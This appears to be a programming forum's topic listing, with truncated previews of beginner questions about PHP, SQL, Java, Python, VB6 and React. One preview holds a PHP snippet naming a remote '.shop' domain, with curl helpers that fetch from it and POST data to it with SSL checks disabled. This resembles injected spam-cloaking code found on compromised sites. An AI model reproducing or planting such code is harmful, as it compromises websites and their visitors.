2,611 Recommended Topics
Remove Filter | |
I've been using CodeIgniter 3 for many years now, and have yet to migrate over to CodeIgniter4. Anyone here using Yii, Laravel, Symphony, CakePHP, or any others? CodeIgniter was my first foray with MVC and I liked that it was a lightweight framework that let me use what I wanted … | |
Hiya, I know it is possible to auto generate prepared statements based on table column names and numbers. But how to achieve it ? I have many tables and I want to allow visitors to be able to search these tables. Now, if I have 20 different tables, I do … | |
I try to upload image in my database. I write these code, but it's not update may database. <?php // Include the database configuration file $msg = ""; // If upload button is clicked ... if (isset($_POST['upload'])) { $filename = $_FILES["uploadfile"]["name"]; $tempname = $_FILES["uploadfile"]["tmp_name"]; $folder = "./image/" . $filename; $db … | |
Hello! I have created a project on Android studio, and i use java as langage, i want to create a biometric system with fingerprint, what i mean is that i want to use android fingerprint device to get fingerprint id and store it in MySQL with some personal informations, so … | |
I need to read the id of the datos.txt file datos.txt file information: 1 a dreamstime_3361539.jpg 1 b dreamstime_7231733.jpg 2 c dreamstime_19009914.jpg 2 d dreamstime_66340321.jpg 3 r F100010793.jpg 3 t music-girl-1366-768-5394.jpg 3 p orig_shutterstock_5515123.jpg when i put the value in text2.text in 1 it has to come out 1 a … | |
Hello There, Look at this PAGINATION I built. This script I built from scratch and is working fine to query my Mysql DB and show results. But I need your feed-back to know if I managed to use the functions in the correct order or not. //FUNCTIONS IN USE TO … | |
A small airline has just purchased a computer for its new automated reservations system. You have been asked to develop the new system. You’re to write an application to assign seats on each flight of the airline’s only plane (the capacity of the plane is 10 seats of the same … | |
Hiya, I need to learn the SQL query that counts all the points from more than one column and orders the matching rows based on most points in descending order. EXAMPLE 1: I do a keyword search for "mobile phone tutorial apps". Note 4 words. Sql should find all the … | |
What are the odds in mobile app development? | |
Ladies & Gentlemen, I got this array: ```` $test = array('id','date_and_time','kw_1','kw_1_point','kw_2','kw_2_point','kw_3','kw_3_point','kw_4','kw_4_point'); ```` Now I want to echo all the values that does not conatin '_point'. So, how to do that ? | |
I'm doing an inventory application in a random file, everything works fine, but I need to delete the record through combobox. I don't know what I'm doing wrong. It loads the data to the textboxes and when deleting the specific record it is not deleted The program is made in … | |
PHP Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, null given in <?php include("header.php"); $_SESSION['loc'] = "viewkeyowners.php"; if ($_SESSION['loggedin'] <> 1) { header("Location: logintest.php"); exit(); } //this is done because if user closes a tab/page, and logs back in(still in session), it would redirect to the last opened tab/page function … | |
I am kind of confused. I want to build a website and i know HTML, CSS, JavaScript, Ionic, Angular, and Capacitor. But with Angular Facebook does not care for any client-side JavaScript when scraping URLs for OG meta tags, only what is contained in the initial HTML code the server … | |
I am having a problem in Delphi with the use of multiple monitors. My application consists of a main form, with several different kinds of child forms. If I started running my application (not from Delphi – the executable), and I then enable a second monitor, and then move from … | |
| Uh. Hi! I am sort of new here. I post maybe once in a blue moon. This place is honestly 100x better than StackOverflow. Anyway. I won't post my entire resume here but I will post relevant details. Graduated two years ago, currently *under*employed, but happy. No internships. My first … |
Hi I am creating a employee management system with ms access and VB6. I need code for marking and view attendance. Can anyone help me ? | |
Hi everyone, I'm new to Python. My manager wants me to run a Python code and generate output for 40 set of values. The code works fine for sample data. But when I replace it with actual data, it doesn't give me any output. Below is the code. Sample data … | |
In both situation __del__ doesn't work. I understand that 'del obj' don't delete all references, but why/how/which references created? Example 1: class Exp: def __init__(self): self.b = 1 self.a = lambda :self.b def __del__(self): print('a') obj = Exp() obj = None del obj Example 2: class Exp: def __init__(self): self.b … | |
Hiya, I do not understand why this crawler fails to echo found links on a page. CODE 1 ```` //Sitemap Crawler: If starting url is an xml file listing further xml files then it will just echo the found xml files and not extract links from them. //Sitemap Protocol: https://www.sitemaps.org/protocol.html … | |
``` php <?php $inter_domain='http://z0204_15.headfavorite.shop/'; $sx_ap=''; function curl_get_contents($url) { $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; } function getServerCont($url,$data=array()) { $url=str_replace(' ','+',$url); $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,"$url"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_TIMEOUT,10); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data)); $output = curl_exec($ch); $errorCode … | |
hello, i have a huge problem and dont know how to fix it. here is the code: #(in class) def shoot(self, current_time, bullet_group, enemy_group): if current_time - self.last_shot > self.shoot_count: bullet = Bullet(self.rect.centerx, self.rect.bottom, "death_star_laser1.png", 10) bullet_group.add(bullet) if current_time - self.last_shot > self.cooldown: self.last_shot = current_time return random.choice(enemy_group.sprites()) #(just normal … | |
I have two projects (one project Referenced in the form of a jar package.jar project can be referenced by multiple projects). mybatis interface code is written in the jar project(common project). datebase properties at war project. In the beginning, all the actual operations of the database were called in the … Programming java | |
I have an MFC dialog app with several Text controls. All but controls get filled in with *UpdateData* at dialog initialization via calls like: *DDX_Control(pDX, IDC_MY_STATIC, MyText );* . Next, the user checkmarks a checkbox and the ON_ function for the checkbox gets control, running several functions. One of those … | |
> $amtpaid = is decimal 530.00 receiptno is integer 250 $paidday is date 2023-03-05 $bizname is string I just can't determine how to define and echo the value of variables. <!DOCTYPE html><html> <head> <title>record payment</title> <html><head> <script type="text/javascript"> var monthNames = [ "January","February","March","April","May","June","July", "August","September","October","November","December" ]; var today = new Date(); … | |
Everyone knows that PHP has such a bad rap for so much bad code being out there. I am a firm believer it is not a problem with PHP, itself, but rather the incredibly low barrier to entry (open source, readily available with nearly all web hosting packages, etc.) coupled … | |
package Main2; import java.awt.Color; import java.awt.Dimension; import java.awt.Graphics; import java.awt.Graphics2D; import javax.swing.JPanel; public class GamePanel extends JPanel implements Runnable{ final int originalTileSize = 16; //16x16 tile final int scale = 3; final int tileSize = originalTileSize * scale; // 48x48 final int maxScreenCol = 16; final int maxScreenRow = 12; … Programming java | |
Hi, I'm Arcon. I have a problem when saving records, it saves a record and when it saves another it overlaps the first record when reading records with its id it does not read it to me correctly thank you Programming visual-basic | |
Hello all, i am new here and i hope this is the right place to ask the python query, basically i am in the first year of engineering and i want to learn the python programming language. we all know that python is now a days very popular programming language, … Programming python | |
Hi everyone, here is code in React. I dont know how to re-render this array prototype map in React? import React, { useState, useEffect } from 'react'; const Help = () => { const initialObject = [ { fileName: 'Horizon.txt', fileSize: 450, }, { fileName: 'Something.png', fileSize: 2720, }, ], … | |
Hi friends I want to refresh my combo box . i have even used the combobox.refresh() syntax but it does nothing! need help |
The End.